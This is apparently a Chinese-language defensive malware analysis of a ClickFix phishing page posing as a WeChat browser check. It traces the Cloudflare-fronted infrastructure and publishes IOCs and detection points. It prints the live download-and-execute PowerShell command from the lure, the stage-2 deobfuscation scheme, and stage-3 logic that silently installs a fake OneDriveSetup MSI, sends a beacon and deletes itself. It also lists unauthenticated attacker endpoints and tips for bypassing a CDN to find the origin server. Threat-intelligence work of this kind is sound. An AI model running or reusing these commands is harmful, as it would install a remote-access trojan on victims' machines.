红队攻防测试报告 — wechat-e.cfd

红队攻防测试报告 --- wechat-e.cfd

测试对象：https://wechat-e.cfd/Ce1SeY

测试类型：被动侦察 + 溯源 + 恶意载荷静态分析

结论：该站点是一个 ClickFix 式「假微信浏览器验证」钓鱼投放页，诱导受害者执行 PowerShell 命令，静默安装伪装成 OneDriveSetup 的 MSI（RAT/窃密木马）。

一、溯源（主机 / 基础设施）

1.1 wechat-e.cfd（钓鱼落地页）

项目	值
A 记录	`104.21.6.167`、`172.67.135.10`（Cloudflare 泛播）
AAAA	`2606:4700:3033::6815:6a7`、`2606:4700:3031::ac43:870a`
NS	`brian.ns.cloudflare.com`、`samara.ns.cloudflare.com`
SOA	`dns.cloudflare.com`
边缘节点	`CF-RAY: ...-HKG`（香港）
Server	`cloudflare`（源站指纹被剥除）
cf-cache-status	`DYNAMIC`（动态后端）
cfOrigin;dur	`2261ms`（源站响应偏慢，疑似低配 VPS / PHP 后端）
CT 证书透明度	无记录（新注册域名 / DNS-01 验证）

结论：真实源站 IP 被 Cloudflare 隐藏，需通过历史 DNS / 证书旁站 / 源站绕过手段进一步挖掘。

1.2 t-trustresnew.com（恶意载荷投递 + C2）

项目	值
A 记录	`172.67.182.117`、`104.21.59.190`（Cloudflare 泛播）
NS	`porter.ns.cloudflare.com`、`nucum.ns.cloudflare.com`
根路径 `/`	404（仅托管载荷目录，无公开站点）
Server	`cloudflare`

二、攻击链（完整还原）

bash 复制代码

    
    
    
  [1] 受害者点击推广链接 → 假「微信浏览器验证」页面        ↓ 诱导点击「通过验证 / Пройти проверку」[2] 弹出「Windows 四步操作指南」（Win+X → 终端/PowerShell → Ctrl+V → Enter）        ↓ 页面把恶意命令写入剪贴板 (window.COPY_TEXT)[3] 受害者粘贴并回车执行：        (irm 'https://t-trustresnew.com/hex/85tttd2w2c')|iex        ↓[4] Stage2：下载混淆 PowerShell（多段十六进制 + 倒序 + XOR 解码）        ↓ 解码后执行 Stage3[5] Stage3：        写 %USERPROFILE%\Downloads\<rand>msi.ps1        BITS 下载 OneDriveSetup<10-99>.msi（5238784 字节）        msiexec /i ... /qn /norestart 静默安装        GET beacon: .../api?...&event=launch_ok（上线回传）        自删除

2.1 恶意剪贴板命令（页面内联脚本明文）

powershell 复制代码

    
    
    
  (irm 'https://t-trustresnew.com/hex/85tttd2w2c')|iex

来源：window.COPY_TEXT = atob("KGlybSAnaHR0cHM6Ly90LXRydXN0cmVzbmV3LmNvbS9oZXgvODV0dHRkMncyYycpfGlleA==")

2.2 Stage2 混淆方案

bash 复制代码

    
    
    
  $ywx45kz = 'd7b904'                     # XOR 密钥$wsqh7ds = $qthd + $dtui + $ua2 + $pwhm  # 拼接 4 段十六进制  1) 以 2 字符为块整体倒序  2) 每字节 hex→byte，与密钥逐位 XOR  3) 结果 | iex

2.3 Stage3 核心逻辑（已解码，见交付文件）

powershell 复制代码

    
    
    
  $outPath = ...Downloads\OneDriveSetup<10-99>.msi$_us = @('https://t-trustresnew.com/p?t=f6b793896e7c')$need = 5238784                         # 精确校验下载字节数Start-BitsTransfer ...                   # 下载msiexec /i $outPath /qn /norestart      # 静默安装# 上线回传：GET https://t-trustresnew.com/85tttd2w2c/api?t=7fffd468fa5a2337ae5ddd08683ed2d60134fec4&track=1&event=launch_okRemove-Item $PSCommandPath -Force        # 自删除

三、IOC 清单（可直接写入威胁情报）

域名

• wechat-e.cfd
• t-trustresnew.com

URL

• https://t-trustresnew.com/hex/85tttd2w2c（Stage2 加载器）
• https://t-trustresnew.com/p?t=f6b793896e7c（Stage3 MSI，5238784 字节）
• https://t-trustresnew.com/85tttd2w2c/api?t=7fffd468fa5a2337ae5ddd08683ed2d60134fec4&track=1&event=launch_ok（beacon）

文件

• %USERPROFILE%\Downloads\OneDriveSetup<10-99>.msi（OLE2/MSI，魔数 D0 CF 11 E0 A1 B1 1A E1）
• %USERPROFILE%\Downloads\<rand>msi.ps1（投递脚本）

追踪令牌

• t=f6b793896e7c（下载事件）
• t=7fffd468fa5a2337ae5ddd08683ed2d60134fec4（launch_ok 事件）

行为特征（EDR/AV 检测点）

• PowerShell 执行 irm <url> | iex
• Start-BitsTransfer 下载精确字节数文件后 msiexec /qn /norestart
• 下载文件名 OneDriveSetup<数字>.msi 且为 MSI 魔数
• 访问 /api?...&track=1&event=launch_ok 外联

四、可复用 PoC / 攻击面

4.1 面板后端接口（wechat-e.cfd）

接口	方法	响应	说明
`?action=check_status`	POST	`{"status":"waiting"}`	会话状态机（受害者状态轮询）
`?action=update_ip&session_ip=&real_ip=`	GET	`{"ok":false,"error":"invalid"}`	IP 回传，需合法 session 令牌

• 无 Cookie 会话；<div id="__d" data-s="..."> 中 data-s 为服务端注入的访客 IP（本次为出口 IP 112.120.90.203）。
• panel-bootstrap.js 逻辑：data-s 若为合法会话令牌（非 IP），前端会调用 ipify/icanhazip/my-ip.io 取真实 IP 并回传 update_ip。

潜在 PoC 点：

4.2 投递基础设施（t-trustresnew.com）

端点	状态	可复用性
`/hex/85tttd2w2c`	200, text/plain	加载器（campaign 专属）
`/p?t=f6b793896e7c`	200, 5238784B, octet-stream	载荷下载（无鉴权，任何人可下载）
`/85tttd2w2c/api?...`	200, JSON	beacon（无鉴权 GET）

潜在 PoC 点：

五、攻击面定位与后续建议

• 真实源站 IP 挖掘：SecurityTrails 历史 DNS、Censys/Shodan 证书指纹与 favicon hash、/cdn-cgi/trace、Cloudflare 源站绕过（历史 IP / 邮件 SPF / 旁站 C 段）。
• 载荷深入分析：对 OneDriveSetup*.msi 做静态分析（LessMsii / msiexec 解包 / orca），提取内嵌 PE、C2 域名、持久化方式（计划任务/注册表 Run 键/服务）。
• 关联拓线：以 t= 令牌、域名注册邮箱、Cloudflare 账户、wechat-e.cfd 与 t-trustresnew.com 共用的基础设施做家族关联，追查同源 ClickFix 面板。

交付文件

• ioc_payload_stage2_obfuscated.ps1 --- Stage2 原始混淆载荷
• ioc_payload_stage3_decoded.ps1 --- Stage3 解码后的最终投递脚本